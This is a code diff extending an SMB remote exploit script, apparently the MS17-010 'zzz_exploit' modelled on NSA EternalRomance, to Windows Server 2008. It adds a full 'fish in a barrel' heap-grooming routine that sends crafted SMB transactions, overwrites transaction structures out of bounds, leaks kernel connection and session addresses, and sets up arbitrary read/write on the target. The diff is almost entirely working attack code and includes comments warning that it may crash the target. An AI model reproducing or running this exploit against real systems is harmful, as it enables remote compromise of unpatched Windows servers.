add support Windows Server 2008

zzz_exploit.py

@@ -19,13 +19,36 @@ Tested on:
 - Windows 8.1 x64
 - Windows 2008 R2 SP1 x64
 - Windows 7 SP1 x64
+- Windows 2008 SP1 x64
 - Windows 8.1 x86
 - Windows 7 SP1 x86
+- Windows 2008 SP1 x86
 '''
 
 USERNAME = ''
 PASSWORD = ''
 
+'''
+A transaction with empty setup:
+- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
+- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
+- no lookaside or caching method for allocating it
+
+Note: method name is from NSA eternalromance
+
+For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
+for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
+alignment before doing OOB write. So this exploit should never crash a target.
+
+For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
+smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
+a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
+Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
+in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
+of this method is we cannot do information leak to verify transactions alignment before OOB write.
+So this exploit has a chance to crash target same as NSA eternalromance on Windows Vista and earlier.
+'''
+
 '''
 Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
 win7 x64
@@ -57,7 +80,7 @@ struct SrvSecContext {
 	BOOLEAN UsePsImpersonateClient; // 0x30
 }
 
-SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user.
+SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
 It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. 
 From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
 PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
@@ -96,7 +119,7 @@ WIN8_32_INFO = {
 }
 
 OS_ARCH_INFO = {
-	# for Windows 7 and 2008 R2
+	# for Windows Vista, 2008, 7 and 2008 R2
 	'WIN7': {
 		'x86': WIN7_32_INFO,
 		'x64': WIN7_64_INFO,
@@ -145,6 +168,7 @@ X64_INFO = {
 }
 
 TRANS_NAME_LEN = 4
+HEAP_HDR_SIZE = 8  # heap chunk header size
 
 
 def calc_alloc_size(size, align_size):
@@ -175,6 +199,7 @@ def next_extra_mid():
 GROOM_TRANS_SIZE = 0x5010
 
 def leak_frag_size(conn, tid, fid):
+	# this method can be used on Windows Vista/2008 and later
 	# leak "Frag" pool size and determine target architecture
 	info = {}
 	
@@ -332,6 +357,8 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
 	}
 
 def exploit_matched_pairs(conn, pipe_name, info):
+	# for Windows 7/2008 R2 and later
+	
 	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
 	conn.set_default_tid(tid)
 	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
@@ -399,7 +426,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
 		print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
 		print('!!! Write to wrong place !!!')
 		print('the target might be crashed')
-		sys.exit()
+		return False
 
 	print('success controlling groom transaction')
 
@@ -427,6 +454,155 @@ def exploit_matched_pairs(conn, pipe_name, info):
 	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
 	return True
 
+def exploit_fish_barrel(conn, pipe_name, info):
+	# for Windows Vista/2008 and earlier
+	
+	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
+	conn.set_default_tid(tid)
+	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
+	fid = conn.nt_create_andx(tid, pipe_name)
+	info['fid'] = fid
+
+	if info['os'] == 'WIN7':
+		# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
+		info.update(leak_frag_size(conn, tid, fid))
+	
+	if 'arch' in info:
+		# add os and arch specific exploit info
+		info.update(OS_ARCH_INFO[info['os']][info['arch']])
+	else:
+		# TODO: do not know target architecture (now assume architecture is known)
+		# this case is only for Windows 2003
+		return False
+	
+	# ================================
+	# groom packets
+	# ================================
+	# sum of transaction name, parameters and data length is 0x1000
+	# paramterCount = 0x100-TRANS_NAME_LEN
+	print('Groom packets')
+	trans_param = pack('<HH', info['fid'], 0)
+	for i in range(12):
+		mid = info['fid'] if i == 8 else next_extra_mid()
+		conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)	
+
+	# ================================
+	# shift transaction Indata ptr with SmbWriteAndX
+	# ================================
+	shift_indata_byte = 0x200
+	conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
+	
+	# ================================
+	# Dangerous operation: attempt to control one transaction
+	# ================================
+	# POOL_ALIGN value is same as heap alignment value
+	# TODO: try offset of 64 bit then 32 bit when no target architecture
+	HEAP_CHUNK_PAD_SIZE = (info['POOL_ALIGN'] - (info['TRANS_SIZE']+HEAP_HDR_SIZE) % info['POOL_ALIGN']) % info['POOL_ALIGN']
+	NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
+
+	# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
+	conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_MID_OFFSET'])
+	wait_for_request_processed(conn)
+
+	# if the overwritten is correct, a modified transaction mid should be special_mid now.
+	# a new transaction with special_mid should be error.
+	recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
+	if recvPkt.getNTStatus() != 0x10002:  # invalid SMB
+		print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
+		print('!!! Write to wrong place !!!')
+		print('the target might be crashed')
+		return False
+
+	print('success controlling one transaction')
+
+	# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
+	# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
+	#   because of this unfreed memory chunk. I will avoid it.
+	
+	# modify transactions before leaking transaction info
+	print('modify parameter count to 0xffffffff to be able to write backward')
+	conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
+	# on 64 bit, modify InParam last 4 bytes to \xff\xff\xff\xff to write backward
+	# this works because all transaction with empty setup is allocated with RtlAllocateHeap()
+	if info['arch'] == 'x64':
+		conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
+	wait_for_request_processed(conn)
+	
+	TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
+	PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
+	PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
+
+	# modify paramterCount of first transaction
+	conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
+	if info['arch'] == 'x64':
+		conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
+		# restore InParameters pointer before leaking next transaction
+		conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
+	wait_for_request_processed(conn)
+
+	# ================================
+	# leak transaction
+	# ================================
+	print('leak next transaction')
+	# modify TRANSACTION member to leak info
+	# function=5 (NT_TRANS_RENAME)
+	conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
+	# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
+	conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
+
+	conn.send_nt_trans_secondary(mid=special_mid)
+	leakData = conn.recv_transaction_data(special_mid, 0x100)
+	leakData = leakData[4:]  # remove param
+	#open('leak.dat', 'wb').write(leakData)
+
+	# check heap chunk size value in leak data
+	if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
+		print('chunk size is wrong')
+		return False
+
+	leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
+	leakTrans = leakData[leakTranOffset:]
+	fmt = info['PTR_FMT']
+	_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
+	inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
+	trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
+	
+	print('CONNECTION: 0x{:x}'.format(connection_addr))
+	print('SESSION: 0x{:x}'.format(session_addr))
+	print('FLINK: 0x{:x}'.format(flink_value))
+	print('InData: 0x{:x}'.format(indata_value))
+	print('MID: 0x{:x}'.format(trans2_mid))
+	
+	trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
+	trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
+	print('TRANS1: 0x{:x}'.format(trans1_addr))
+	print('TRANS2: 0x{:x}'.format(trans2_addr))
+	
+	# ================================
+	# modify trans struct to be used for arbitrary read/write
+	# ================================
+	print('modify transaction struct for arbitrary read/write')
+	# modify
+	# - trans1.mid
+	# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
+	# - trans1.InData to &trans2. so we can modify trans2 easily
+	TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
+	conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
+	wait_for_request_processed(conn)
+	
+	trans1_mid = conn.next_mid()
+	conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
+	wait_for_request_processed(conn)
+	
+	info.update({
+		'connection': connection_addr,
+		'session': session_addr,
+		'trans1_mid': trans1_mid,
+		'trans1_addr': trans1_addr,
+		'trans2_mid': trans2_mid,
+		'trans2_addr': trans2_addr,
+	})
+	return True
 
 def exploit(target, pipe_name):
 	conn = MYSMB(target)
@@ -441,13 +617,18 @@ def exploit(target, pipe_name):
 	print('Target OS: '+server_os)
 	if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
 		info['os'] = 'WIN7'
+		info['method'] = exploit_matched_pairs
 	elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
 		info['os'] = 'WIN8'
+		info['method'] = exploit_matched_pairs
+	elif server_os.startswith("Windows Server (R) 2008"):
+		info['os'] = 'WIN7'
+		info['method'] = exploit_fish_barrel
 	else:
 		print('This exploit does not support this target')
 		sys.exit()
 
-	if not exploit_matched_pairs(conn, pipe_name, info):
+	if not info['method'](conn, pipe_name, info):
 		return False
 
 	# Now, read_data() and write_data() can be used for arbitrary read and write.